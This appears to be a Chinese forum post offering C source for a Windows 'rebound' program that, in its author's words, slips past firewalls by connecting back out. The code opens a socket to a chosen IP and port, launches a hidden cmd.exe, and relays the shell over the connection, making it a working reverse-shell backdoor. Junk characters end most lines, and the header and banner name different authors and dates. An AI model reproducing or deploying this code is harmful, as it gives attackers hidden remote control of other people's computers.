这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R`Aj|C
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/* ============================== k?BJdg)xJ
Rebound port in Windows NT gsar[gZ
By wind,2006/7 $$i.O}
===============================*/ u/b7Z`yX}
#include V=I"-k}RL
#include Ph&urxH@
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#pragma comment(lib,"wsock32.lib") eC
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void OutputShell(); )|j[uh6wo
SOCKET sClient; r90+,aLM#?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5 /",<1
p]D]:
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void main(int argc,char **argv) >t,M
{ ivO/;)=t
WSADATA stWsaData; |s7`F%
int nRet; {
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SOCKADDR_IN stSaiClient,stSaiServer; 8rZ!ia!
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if(argc != 3) ubsSa}$q
{ %z]U LEYrZ
printf("Useage:\n\rRebound DestIP DestPort\n"); aIy*pmpD=
return; iq#b#PYA
} %A1@&xrbl
# M, 7
WSAStartup(MAKEWORD(2,2),&stWsaData); +'@+x'/{^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yfQ5:X
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stSaiClient.sin_family = AF_INET; }K1 0Po'
stSaiClient.sin_port = htons(0); KT|RF
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $yDWu"R8
a?}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oeSN9O
{ 5la>a}+!!h
printf("Bind Socket Failed!\n"); _CBWb
return; rVvR!"//yH
} 1sE?YJP-
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stSaiServer.sin_family = AF_INET; 'crlA~/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vE6mOM!_L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7 J^rv9i4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .Ig+Dj{)
{ 3uU]kD^
printf("Connect Error!"); T J^u"j-'
return; fy@avo9
} spU)]4P&
OutputShell(); ^m#-9- `
} k$5 s{q
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void OutputShell() 65z"
{ nMDxH$O
char szBuff[1024]; gK#mPcn^
SECURITY_ATTRIBUTES stSecurityAttributes; ~vLW.:
OSVERSIONINFO stOsversionInfo; M)*\a/6?{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HS'Vi9
STARTUPINFO stStartupInfo; 5vo.[^ty
char *szShell; ~/NKw:
PROCESS_INFORMATION stProcessInformation; d\e7,"L*Q
unsigned long lBytesRead; G6VF>2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jR=s#Xz
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =_j vk.
stSecurityAttributes.lpSecurityDescriptor = 0; MT(o"ltQ
stSecurityAttributes.bInheritHandle = TRUE; %1pYEHn
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~HQ9i%exg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *5bLe'^\|K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XC{eX&,2x
stStartupInfo.wShowWindow = SW_HIDE; Gm*X'[\DD
stStartupInfo.hStdInput = hReadPipe; 9nu3+.&P
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XdH\OJ
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GetVersionEx(&stOsversionInfo); kyR*D1N&)
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switch(stOsversionInfo.dwPlatformId) B|o2K}%f
{ rD>*j~_+P
case 1: !w
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szShell = "command.com"; F~ Lx|)0M
break; (EPsTox
default: fs/*V~@
szShell = "cmd.exe"; j}b\Z9)!
break; QMv@:Eo
} `y#UJYXQE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %s19KGpA
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send(sClient,szMsg,77,0); -OSa>-bzNx
while(1) fdONP>K[E
{ Dk48@`l2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .`?@%{
if(lBytesRead) \.M*lqI
{ TLehdZ>^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bLt.O(T}
send(sClient,szBuff,lBytesRead,0); boG_f@dv(
} 1+?N#Fh
else "RIZV
{ fNGZ o
lBytesRead=recv(sClient,szBuff,1024,0); HR}bbsqxVf
if(lBytesRead<=0) break; #c^^=Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +iOKb c'
} D7_*k%;@
} VK@!lJu!
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return; 0527Wj
}